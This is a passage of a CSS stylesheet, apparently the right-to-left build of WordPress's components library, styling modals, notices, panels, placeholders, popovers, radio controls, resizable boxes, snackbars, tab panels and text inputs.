  border-radius:8px 8px 0 0;
  box-shadow:0 5px 15px #00000014,0 15px 27px #00000012,0 30px 36px #0000000a,0 50px 43px #00000005;
  box-sizing:border-box;
  display:flex;
  margin:40px 0 0;
  overflow:hidden;
  width:100%;
}
.components-modal__frame *,.components-modal__frame :after,.components-modal__frame :before{
  box-sizing:inherit;
}
@media not (prefers-reduced-motion){
  .components-modal__frame{
    animation-duration:var(--modal-frame-animation-duration);
  }
}
.components-modal__screen-overlay.is-animating-out .components-modal__frame{
  animation-name:components-modal__disappear-animation;
  animation-timing-function:cubic-bezier(1, 0, .2, 1);
}
@media (min-width:600px){
  .components-modal__frame{
    border-radius:8px;
    margin:auto;
    max-height:calc(100% - 120px);
    max-width:calc(100% - 32px);
    min-width:350px;
    width:auto;
  }
}
@media (min-width:600px) and (min-width:600px){
  .components-modal__frame.is-full-screen{
    height:calc(100% - 32px);
    max-height:none;
    width:calc(100% - 32px);
  }
}
@media (min-width:600px) and (min-width:782px){
  .components-modal__frame.is-full-screen{
    height:calc(100% - 80px);
    max-width:none;
    width:calc(100% - 80px);
  }
}
@media (min-width:600px){
  .components-modal__frame.has-size-large,.components-modal__frame.has-size-medium,.components-modal__frame.has-size-small{
    width:100%;
  }
  .components-modal__frame.has-size-small{
    max-width:384px;
  }
  .components-modal__frame.has-size-medium{
    max-width:512px;
  }
  .components-modal__frame.has-size-large{
    max-width:840px;
  }
}
@media (min-width:960px){
  .components-modal__frame{
    max-height:70%;
  }
}

@keyframes components-modal__appear-animation{
  0%{
    opacity:0;
    transform:scale(.9);
  }
  to{
    opacity:1;
    transform:scale(1);
  }
}
@keyframes components-modal__disappear-animation{
  0%{
    opacity:1;
    transform:scale(1);
  }
  to{
    opacity:0;
    transform:scale(.9);
  }
}
.components-modal__header{
  align-items:center;
  border-bottom:1px solid #0000;
  box-sizing:border-box;
  display:flex;
  flex-direction:row;
  height:72px;
  justify-content:space-between;
  padding:24px 32px 8px;
  position:absolute;
  right:0;
  top:0;
  width:100%;
  z-index:10;
}
.components-modal__header .components-modal__header-heading{
  font-size:1.2rem;
  font-weight:600;
}
.components-modal__header h1{
  line-height:1;
  margin:0;
}
.components-modal__content.has-scrolled-content:not(.hide-header) .components-modal__header{
  border-bottom-color:#ddd;
}
.components-modal__header+p{
  margin-top:0;
}

.components-modal__header-heading-container{
  align-items:center;
  display:flex;
  flex-direction:row;
  flex-grow:1;
  justify-content:right;
}

.components-modal__header-icon-container{
  display:inline-block;
}
.components-modal__header-icon-container svg{
  max-height:36px;
  max-width:36px;
  padding:8px;
}

.components-modal__content{
  flex:1;
  margin-top:72px;
  overflow:auto;
  padding:4px 32px 32px;
}
.components-modal__content.hide-header{
  margin-top:0;
  padding-top:32px;
}
.components-modal__content.is-scrollable:focus-visible{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:2px solid #0000;
  outline-offset:-2px;
}

.components-notice{
  align-items:center;
  background-color:#fff;
  border-right:4px solid var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  color:#1e1e1e;
  display:flex;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  padding:8px 12px;
}
.components-notice.is-dismissible{
  position:relative;
}
.components-notice.is-success{
  background-color:#eff9f1;
  border-right-color:#4ab866;
}
.components-notice.is-warning{
  background-color:#fef8ee;
  border-right-color:#f0b849;
}
.components-notice.is-error{
  background-color:#f4a2a2;
  border-right-color:#cc1818;
}

.components-notice__content{
  flex-grow:1;
  margin:4px 0 4px 25px;
}

.components-notice__actions{
  display:flex;
  flex-wrap:wrap;
}

.components-notice__action.components-button{
  margin-left:8px;
}
.components-notice__action.components-button,.components-notice__action.components-button.is-link{
  margin-right:12px;
}
.components-notice__action.components-button.is-secondary{
  vertical-align:initial;
}

.components-notice__dismiss{
  align-self:flex-start;
  color:#757575;
  flex-shrink:0;
}
.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):focus,.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):active,.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{
  background-color:initial;
  color:#1e1e1e;
}
.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{
  box-shadow:none;
}

.components-notice-list{
  box-sizing:border-box;
  max-width:100vw;
}
.components-notice-list .components-notice__content{
  line-height:2;
  margin-bottom:12px;
  margin-top:12px;
}
.components-notice-list .components-notice__action.components-button{
  display:block;
  margin-right:0;
  margin-top:8px;
}

.components-panel{
  background:#fff;
  border:1px solid #e0e0e0;
}
.components-panel>.components-panel__body:first-child,.components-panel>.components-panel__header:first-child{
  margin-top:-1px;
}
.components-panel>.components-panel__body:last-child,.components-panel>.components-panel__header:last-child{
  border-bottom-width:0;
}

.components-panel+.components-panel{
  margin-top:-1px;
}

.components-panel__body{
  border-bottom:1px solid #e0e0e0;
  border-top:1px solid #e0e0e0;
}
.components-panel__body h3{
  margin:0 0 .5em;
}
.components-panel__body.is-opened{
  padding:16px;
}

.components-panel__header{
  align-items:center;
  border-bottom:1px solid #ddd;
  box-sizing:initial;
  display:flex;
  flex-shrink:0;
  height:47px;
  justify-content:space-between;
  padding:0 16px;
}
.components-panel__header h2{
  color:inherit;
  font-size:inherit;
  margin:0;
}

.components-panel__body+.components-panel__body,.components-panel__body+.components-panel__header,.components-panel__header+.components-panel__body,.components-panel__header+.components-panel__header{
  margin-top:-1px;
}

.components-panel__body>.components-panel__body-title{
  display:block;
  font-size:inherit;
  margin-bottom:0;
  margin-top:0;
  padding:0;
}
@media not (prefers-reduced-motion){
  .components-panel__body>.components-panel__body-title{
    transition:background .1s ease-in-out;
  }
}

.components-panel__body.is-opened>.components-panel__body-title{
  margin:-16px -16px 5px;
}

.components-panel__body>.components-panel__body-title:hover{
  background:#f0f0f0;
  border:none;
}

.components-panel__body-toggle.components-button{
  border:none;
  box-shadow:none;
  color:#1e1e1e;
  font-weight:500;
  height:auto;
  outline:none;
  padding:16px 16px 16px 48px;
  position:relative;
  text-align:right;
  width:100%;
}
@media not (prefers-reduced-motion){
  .components-panel__body-toggle.components-button{
    transition:background .1s ease-in-out;
  }
}
.components-panel__body-toggle.components-button:focus{
  border-radius:0;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-panel__body-toggle.components-button .components-panel__arrow{
  color:#1e1e1e;
  left:16px;
  position:absolute;
  top:50%;
  transform:translateY(-50%);
  fill:currentColor;
}
@media not (prefers-reduced-motion){
  .components-panel__body-toggle.components-button .components-panel__arrow{
    transition:color .1s ease-in-out;
  }
}
body.rtl .components-panel__body-toggle.components-button .dashicons-arrow-right{
  -ms-filter:fliph;
  filter:FlipH;
  margin-top:-10px;
  transform:scaleX(-1);
}

.components-panel__icon{
  color:#757575;
  margin:-2px 6px -2px 0;
}

.components-panel__body-toggle-icon{
  margin-left:-5px;
}

.components-panel__color-title{
  float:right;
  height:19px;
}

.components-panel__row{
  align-items:center;
  display:flex;
  justify-content:space-between;
  margin-top:8px;
  min-height:36px;
}
.components-panel__row select{
  min-width:0;
}
.components-panel__row label{
  flex-shrink:0;
  margin-left:12px;
  max-width:75%;
}
.components-panel__row:empty,.components-panel__row:first-of-type{
  margin-top:0;
}

.components-panel .circle-picker{
  padding-bottom:20px;
}

.components-placeholder.components-placeholder{
  align-items:flex-start;
  box-sizing:border-box;
  color:#1e1e1e;
  display:flex;
  flex-direction:column;
  font-size:13px;
  gap:16px;
  margin:0;
  padding:24px;
  position:relative;
  text-align:right;
  width:100%;
  -moz-font-smoothing:subpixel-antialiased;
  -webkit-font-smoothing:subpixel-antialiased;
  background-color:#fff;
  border-radius:2px;
  box-shadow:inset 0 0 0 1px #1e1e1e;
  outline:1px solid #0000;
}

.components-placeholder__error,.components-placeholder__fieldset,.components-placeholder__instructions,.components-placeholder__label{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  font-weight:400;
  letter-spacing:normal;
  line-height:normal;
  text-transform:none;
}

.components-placeholder__label{
  align-items:center;
  display:flex;
  font-weight:600;
}
.components-placeholder__label .block-editor-block-icon,.components-placeholder__label .dashicon,.components-placeholder__label>svg{
  margin-left:4px;
  fill:currentColor;
}
@media (forced-colors:active){
  .components-placeholder__label .block-editor-block-icon,.components-placeholder__label .dashicon,.components-placeholder__label>svg{
    fill:CanvasText;
  }
}
.components-placeholder__label:empty{
  display:none;
}

.components-placeholder__fieldset,.components-placeholder__fieldset form{
  display:flex;
  flex-direction:row;
  flex-wrap:wrap;
  gap:16px;
  justify-content:flex-start;
  width:100%;
}
.components-placeholder__fieldset form p,.components-placeholder__fieldset p{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
}

.components-placeholder__fieldset.is-column-layout,.components-placeholder__fieldset.is-column-layout form{
  flex-direction:column;
}

.components-placeholder__input[type=url]{
  border:1px solid #949494;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  flex:1 1 auto;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  line-height:normal;
  padding:6px 8px;
}
@media not (prefers-reduced-motion){
  .components-placeholder__input[type=url]{
    transition:box-shadow .1s linear;
  }
}
@media (min-width:600px){
  .components-placeholder__input[type=url]{
    font-size:13px;
    line-height:normal;
  }
}
.components-placeholder__input[type=url]:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.components-placeholder__input[type=url]::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.components-placeholder__input[type=url]::-moz-placeholder{
  color:#1e1e1e9e;
}
.components-placeholder__input[type=url]:-ms-input-placeholder{
  color:#1e1e1e9e;
}

.components-placeholder__error{
  gap:8px;
  width:100%;
}

.components-placeholder__fieldset .components-button:not(.is-link)~.components-button.is-link{
  margin-left:10px;
  margin-right:10px;
}
.components-placeholder__fieldset .components-button:not(.is-link)~.components-button.is-link:last-child{
  margin-left:0;
}

.components-placeholder.is-medium .components-placeholder__instructions,.components-placeholder.is-small .components-placeholder__instructions{
  display:none;
}
.components-placeholder.is-medium .components-placeholder__fieldset,.components-placeholder.is-medium .components-placeholder__fieldset form,.components-placeholder.is-small .components-placeholder__fieldset,.components-placeholder.is-small .components-placeholder__fieldset form{
  flex-direction:column;
}
.components-placeholder.is-medium .components-button,.components-placeholder.is-medium .components-placeholder__fieldset>*,.components-placeholder.is-small .components-button,.components-placeholder.is-small .components-placeholder__fieldset>*{
  justify-content:center;
  width:100%;
}
.components-placeholder.is-small{
  padding:16px;
}
.components-placeholder.has-illustration{
  -webkit-backdrop-filter:blur(100px);
          backdrop-filter:blur(100px);
  backface-visibility:hidden;
  background-color:initial;
  border-radius:0;
  box-shadow:none;
  color:inherit;
  display:flex;
  overflow:hidden;
}
.is-dark-theme .components-placeholder.has-illustration{
  background-color:#0000001a;
}
.components-placeholder.has-illustration .components-placeholder__fieldset{
  margin-left:0;
  margin-right:0;
}
.components-placeholder.has-illustration .components-button,.components-placeholder.has-illustration .components-placeholder__instructions,.components-placeholder.has-illustration .components-placeholder__label{
  opacity:0;
  pointer-events:none;
}
@media not (prefers-reduced-motion){
  .components-placeholder.has-illustration .components-button,.components-placeholder.has-illustration .components-placeholder__instructions,.components-placeholder.has-illustration .components-placeholder__label{
    transition:opacity .1s linear;
  }
}
.is-selected>.components-placeholder.has-illustration .components-button,.is-selected>.components-placeholder.has-illustration .components-placeholder__instructions,.is-selected>.components-placeholder.has-illustration .components-placeholder__label{
  opacity:1;
  pointer-events:auto;
}
.components-placeholder.has-illustration:before{
  background:currentColor;
  bottom:0;
  content:"";
  left:0;
  opacity:.1;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}
.is-selected .components-placeholder.has-illustration{
  overflow:auto;
}

.components-placeholder__preview{
  display:flex;
  justify-content:center;
}

.components-placeholder__illustration{
  box-sizing:initial;
  height:100%;
  position:absolute;
  right:50%;
  top:50%;
  transform:translate(50%, -50%);
  width:100%;
  stroke:currentColor;
  opacity:.25;
}

.components-popover{
  box-sizing:border-box;
  will-change:transform;
  z-index:1000000;
}
.components-popover *,.components-popover :after,.components-popover :before{
  box-sizing:inherit;
}
.components-popover.is-expanded{
  bottom:0;
  left:0;
  position:fixed;
  right:0;
  top:0;
  z-index:1000000 !important;
}

.components-popover__content{
  background:#fff;
  border-radius:4px;
  box-shadow:0 0 0 1px #ccc,0 2px 3px #0000000d,0 4px 5px #0000000a,0 12px 12px #00000008,0 16px 16px #00000005;
  box-sizing:border-box;
  width:min-content;
}
.is-alternate .components-popover__content{
  border-radius:2px;
  box-shadow:0 0 0 1px #1e1e1e;
}
.is-unstyled .components-popover__content{
  background:none;
  border-radius:0;
  box-shadow:none;
}
.components-popover.is-expanded .components-popover__content{
  box-shadow:0 -1px 0 0 #ccc;
  height:calc(100% - 48px);
  overflow-y:visible;
  position:static;
  width:auto;
}
.components-popover.is-expanded.is-alternate .components-popover__content{
  box-shadow:0 -1px 0 #1e1e1e;
}

.components-popover__header{
  align-items:center;
  background:#fff;
  display:flex;
  height:48px;
  justify-content:space-between;
  padding:0 16px 0 8px;
}

.components-popover__header-title{
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
  width:100%;
}

.components-popover__close.components-button{
  z-index:5;
}

.components-popover__arrow{
  display:flex;
  height:14px;
  pointer-events:none;
  position:absolute;
  width:14px;
}
.components-popover__arrow:before{
  background-color:#fff;
  content:"";
  height:2px;
  left:1px;
  position:absolute;
  right:1px;
  top:-1px;
}
.components-popover__arrow.is-top{
  bottom:-14px !important;
  transform:rotate(0);
}
.components-popover__arrow.is-right{
  left:-14px !important;
  transform:rotate(90deg);
}
.components-popover__arrow.is-bottom{
  top:-14px !important;
  transform:rotate(180deg);
}
.components-popover__arrow.is-left{
  right:-14px !important;
  transform:rotate(-90deg);
}

.components-popover__triangle{
  display:block;
  flex:1;
}

.components-popover__triangle-bg{
  fill:#fff;
}

.components-popover__triangle-border{
  fill:#0000;
  stroke-width:1px;
  stroke:#ccc;
}
.is-alternate .components-popover__triangle-border{
  stroke:#1e1e1e;
}

.components-radio-control{
  border:0;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  margin:0;
  padding:0;
}

.components-radio-control__group-wrapper.has-help{
  margin-block-end:12px;
}

.components-radio-control__option{
  align-items:center;
  column-gap:8px;
  display:grid;
  grid-template-columns:auto 1fr;
  grid-template-rows:auto minmax(0, max-content);
}

.components-radio-control__input[type=radio]{
  appearance:none;
  border:1px solid #1e1e1e;
  border-radius:2px;
  border-radius:50%;
  box-shadow:0 0 0 #0000;
  cursor:pointer;
  display:inline-flex;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  grid-column:1;
  grid-row:1;
  height:24px;
  line-height:normal;
  margin:0;
  max-width:24px;
  min-width:24px;
  padding:0;
  position:relative;
  transition:none;
  width:24px;
}
@media not (prefers-reduced-motion){
  .components-radio-control__input[type=radio]{
    transition:box-shadow .1s linear;
  }
}
@media (min-width:600px){
  .components-radio-control__input[type=radio]{
    font-size:13px;
    line-height:normal;
  }
}
.components-radio-control__input[type=radio]:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
}
.components-radio-control__input[type=radio]::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.components-radio-control__input[type=radio]::-moz-placeholder{
  color:#1e1e1e9e;
}
.components-radio-control__input[type=radio]:-ms-input-placeholder{
  color:#1e1e1e9e;
}
@media (min-width:600px){
  .components-radio-control__input[type=radio]{
    height:16px;
    max-width:16px;
    min-width:16px;
    width:16px;
  }
}
.components-radio-control__input[type=radio]:checked:before{
  background-color:#fff;
  border:4px solid #fff;
  box-sizing:inherit;
  height:12px;
  margin:0;
  position:absolute;
  right:50%;
  top:50%;
  transform:translate(50%, -50%);
  width:12px;
}
@media (min-width:600px){
  .components-radio-control__input[type=radio]:checked:before{
    height:8px;
    width:8px;
  }
}
.components-radio-control__input[type=radio]:focus{
  box-shadow:0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color);
}
.components-radio-control__input[type=radio]:checked{
  background:var(--wp-admin-theme-color);
  border:none;
}
.components-radio-control__input[type=radio]:focus{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff, 0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color);
  outline:2px solid #0000;
  outline-offset:2px;
}
.components-radio-control__input[type=radio]:checked{
  background:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  border-color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-radio-control__input[type=radio]:checked:before{
  border-radius:50%;
  content:"";
}

.components-radio-control__label{
  cursor:pointer;
  grid-column:2;
  grid-row:1;
  line-height:24px;
}
@media (min-width:600px){
  .components-radio-control__label{
    line-height:16px;
  }
}

.components-radio-control__option-description{
  grid-column:2;
  grid-row:2;
  padding-block-start:4px;
}
.components-radio-control__option-description.components-radio-control__option-description{
  margin-top:0;
}

.components-resizable-box__handle{
  display:none;
  height:23px;
  width:23px;
  z-index:2;
}
.components-resizable-box__container.has-show-handle .components-resizable-box__handle{
  display:block;
}
.components-resizable-box__handle>div{
  height:100%;
  outline:none;
  position:relative;
  width:100%;
  z-index:2;
}

.components-resizable-box__container>img{
  width:inherit;
}

.components-resizable-box__handle:after{
  background:#fff;
  border-radius:50%;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9)), 0 1px 1px #00000008, 0 1px 2px #00000005, 0 3px 3px #00000005, 0 4px 4px #00000003;
  content:"";
  cursor:inherit;
  display:block;
  height:15px;
  left:calc(50% - 8px);
  outline:2px solid #0000;
  position:absolute;
  top:calc(50% - 8px);
  width:15px;
}

.components-resizable-box__side-handle:before{
  background:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  border-radius:9999px;
  content:"";
  cursor:inherit;
  display:block;
  height:3px;
  left:calc(50% - 1px);
  opacity:0;
  position:absolute;
  top:calc(50% - 1px);
  width:3px;
}
@media not (prefers-reduced-motion){
  .components-resizable-box__side-handle:before{
    transition:transform .1s ease-in;
    will-change:transform;
  }
}

.components-resizable-box__corner-handle,.components-resizable-box__side-handle{
  z-index:2;
}

.components-resizable-box__side-handle.components-resizable-box__handle-bottom,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:before,.components-resizable-box__side-handle.components-resizable-box__handle-top,.components-resizable-box__side-handle.components-resizable-box__handle-top:before{
  border-left:0;
  border-right:0;
  right:0;
  width:100%;
}

.components-resizable-box__side-handle.components-resizable-box__handle-left,.components-resizable-box__side-handle.components-resizable-box__handle-left:before,.components-resizable-box__side-handle.components-resizable-box__handle-right,.components-resizable-box__side-handle.components-resizable-box__handle-right:before{
  border-bottom:0;
  border-top:0;
  height:100%;
  top:0;
}

@media not (prefers-reduced-motion){
  .components-resizable-box__side-handle.components-resizable-box__handle-bottom:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:hover:before{
    animation:components-resizable-box__top-bottom-animation .1s ease-out 0s;
    animation-fill-mode:forwards;
  }
  .components-resizable-box__side-handle.components-resizable-box__handle-left:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:hover:before{
    animation:components-resizable-box__left-right-animation .1s ease-out 0s;
    animation-fill-mode:forwards;
  }
}
@media not all and (min-resolution:0.001dpcm){
  @supports (-webkit-appearance:none){
    .components-resizable-box__side-handle.components-resizable-box__handle-bottom:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:hover:before{
      animation:none;
    }
  }
}
@keyframes components-resizable-box__top-bottom-animation{
  0%{
    opacity:0;
    transform:scaleX(0);
  }
  to{
    opacity:1;
    transform:scaleX(1);
  }
}
@keyframes components-resizable-box__left-right-animation{
  0%{
    opacity:0;
    transform:scaleY(0);
  }
  to{
    opacity:1;
    transform:scaleY(1);
  }
}
.components-resizable-box__handle-right{
  right:-11.5px;
}

.components-resizable-box__handle-left{
  left:-11.5px;
}

.components-resizable-box__handle-top{
  top:-11.5px;
}

.components-resizable-box__handle-bottom{
  bottom:-11.5px;
}
.components-responsive-wrapper{
  align-items:center;
  display:flex;
  justify-content:center;
  max-width:100%;
  position:relative;
}

.components-responsive-wrapper__content{
  display:block;
  max-width:100%;
  width:100%;
}

.components-sandbox{
  overflow:hidden;
}

iframe.components-sandbox{
  width:100%;
}

body.lockscroll,html.lockscroll{
  overflow:hidden;
}

.components-select-control__input{
  outline:0;
  -webkit-tap-highlight-color:rgba(0, 0, 0, 0) !important;
}

@media (max-width:782px){
  .components-base-control .components-base-control__field .components-select-control__input{
    font-size:16px;
  }
}
.components-snackbar{
  -webkit-backdrop-filter:blur(16px) saturate(180%);
          backdrop-filter:blur(16px) saturate(180%);
  background:#000000d9;
  border-radius:4px;
  box-shadow:0 1px 2px #0000000d,0 2px 3px #0000000a,0 6px 6px #00000008,0 8px 8px #00000005;
  box-sizing:border-box;
  color:#fff;
  cursor:pointer;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  max-width:600px;
  padding:12px 20px;
  pointer-events:auto;
  width:100%;
}
@media (min-width:600px){
  .components-snackbar{
    width:fit-content;
  }
}
.components-snackbar:focus{
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-snackbar.components-snackbar-explicit-dismiss{
  cursor:default;
}
.components-snackbar .components-snackbar__content-with-icon{
  padding-right:24px;
  position:relative;
}
.components-snackbar .components-snackbar__icon{
  position:absolute;
  right:-8px;
  top:-2.9px;
}
.components-snackbar .components-snackbar__dismiss-button{
  cursor:pointer;
  margin-right:24px;
}

.components-snackbar__action.components-button{
  color:#fff;
  flex-shrink:0;
  margin-right:32px;
}
.components-snackbar__action.components-button:focus{
  box-shadow:none;
  outline:1px dotted #fff;
}
.components-snackbar__action.components-button:hover{
  color:currentColor;
  text-decoration:none;
}

.components-snackbar__content{
  align-items:baseline;
  display:flex;
  justify-content:space-between;
  line-height:1.4;
}

.components-snackbar-list{
  box-sizing:border-box;
  pointer-events:none;
  position:absolute;
  width:100%;
  z-index:100000;
}

.components-snackbar-list__notice-container{
  padding-top:8px;
  position:relative;
}

.components-tab-panel__tabs{
  align-items:stretch;
  display:flex;
  flex-direction:row;
}
.components-tab-panel__tabs[aria-orientation=vertical]{
  flex-direction:column;
}

.components-tab-panel__tabs-item{
  background:#0000;
  border:none;
  border-radius:0;
  box-shadow:none;
  cursor:pointer;
  font-weight:500;
  height:48px !important;
  margin-right:0;
  padding:3px 16px;
  position:relative;
}
.components-tab-panel__tabs-item:focus:not(:disabled){
  box-shadow:none;
  outline:none;
  position:relative;
}
.components-tab-panel__tabs-item:after{
  background:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  border-radius:0;
  bottom:0;
  content:"";
  height:calc(var(--wp-admin-border-width-focus)*0);
  left:0;
  pointer-events:none;
  position:absolute;
  right:0;
}
@media not (prefers-reduced-motion){
  .components-tab-panel__tabs-item:after{
    transition:all .1s linear;
  }
}
.components-tab-panel__tabs-item.is-active:after{
  height:calc(var(--wp-admin-border-width-focus)*1);
  outline:2px solid #0000;
  outline-offset:-1px;
}
.components-tab-panel__tabs-item:before{
  border-radius:2px;
  bottom:12px;
  box-shadow:0 0 0 0 #0000;
  content:"";
  left:12px;
  pointer-events:none;
  position:absolute;
  right:12px;
  top:12px;
}
@media not (prefers-reduced-motion){
  .components-tab-panel__tabs-item:before{
    transition:all .1s linear;
  }
}
.components-tab-panel__tabs-item:focus-visible:before{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:2px solid #0000;
}

.components-tab-panel__tab-content:focus{
  box-shadow:none;
  outline:none;
}
.components-tab-panel__tab-content:focus-visible{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:2px solid #0000;
  outline-offset:0;
}

.components-text-control__input,.components-text-control__input[type=color],.components-text-control__input[type=date],.components-text-control__input[type=datetime-local],.components-text-control__input[type=datetime],.components-text-control__input[type=email],.components-text-control__input[type=month],.components-text-control__input[type=number],.components-text-control__input[type=password],.components-text-control__input[type=tel],.components-text-control__input[type=text],.components-text-control__input[type=time],.components-text-control__input[type=url],.components-text-control__input[type=week]{
  border:1px solid #949494;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  height:32px;
  line-height:normal;
  margin:0;
  padding:6px 8px;
  width:100%;
}
@media not (prefers-reduced-motion){
  .components-text-control__input,.components-text-control__input[type=color],.components-text-control__input[type=date],.components-text-control__input[type=datetime-local],.components-text-control__input[type=datetime],.components-text-control__input[type=email],.components-text-control__input[type=month],.components-text-control__input[type=number],.components-text-control__input[type=password],.components-text-control__input[type=tel],.components-text-control__input[type=text],.components-text-control__input[type=time],.components-text-control__input[type=url],.components-text-control__input[type=week]{
    transition:box-shadow .1s linear;
  }
}
@media (min-width:600px){
  .components-text-control__input,.components-text-control__input[type=color],.components-text-control__input[type=date],.components-text-control__input[type=datetime-local],.components-text-control__input[type=datetime],.components-text-control__input[type=email],.components-text-control__input[type=month],.components-text-control__input[type=number],.components-text-control__input[type=password],.components-text-control__input[type=tel],.components-text-control__input[type=text],.components-text-control__input[type=time],.components-text-control__input[type=url],.components-text-control__input[type=week]{
    font-size:13px;
    line-height:normal;
  }
}
.components-text-control__input:focus,.components-text-control__input[type=color]:focus,.components-text-control__input[type=date]:focus,.components-text-control__input[type=datetime-local]:focus,.components-text-control__input[type=datetime]:focus,.components-text-control__input[type=email]:focus,.components-text-control__input[type=month]:focus,.components-text-control__input[type=number]:focus,.components-text-control__input[type=password]:focus,.components-text-control__input[type=tel]:focus,.components-text-control__input[type=text]:focus,.components-text-control__input[type=time]:focus,.components-text-control__input[type=url]:focus,.components-text-control__input[type=week]:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.components-text-control__input::-webkit-input-placeholder,.components-text-control__input[type=color]::-webkit-input-placeholder,.components-text-control__input[type=date]::-webkit-input-placeholder,.components-text-control__input[type=datetime-local]::-webkit-input-placeholder,.components-text-control__input[type=datetime]::-webkit-input-placeholder,.components-text-control__input[type=email]::-webkit-input-placeholder,.components-text-control__input[type=month]::-webkit-input-placeholder,.components-text-control__input[type=number]::-webkit-input-placeholder,.components-text-control__input[type=password]::-webkit-input-placeholder,.components-text-control__input[type=tel]::-webkit-input-placeholder,.components-text-control__input[type=text]::-webkit-input-placeholder,.components-text-control__input[type=time]::-webkit-input-placeholder,.components-text-control__input[type=url]::-webkit-input-placeholder,.components-text-control__input[type=week]::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.components-text-control__input::-moz-placeholder,.components-text-control__input[type=color]::-moz-placeholder,.components-text-control__input[type=date]::-moz-placeholder,.components-text-control__input[type=datetime-local]::-moz-placeholder,.components-text-control__input[type=datetime]::-moz-placeholder,.components-text-control__input[type=email]::-moz-placeholder,.components-text-control__input[type=month]::-moz-placeholder,.components-text-control__input[type=number]::-moz-placeholder,.components-text-control__input[type=password]::-moz-placeholder,.components-text-control__input[type=tel]::-moz-placeholder,.components-text-control__input[type=text]::-moz-placeholder,.components-text-control__input[type=time]::-moz-placeholder,.components-text-control__input[type=url]::-moz-placeholder,.components-text-control__input[type=week]::-moz-placeholder{
  color:#1e1e1e9e;
}
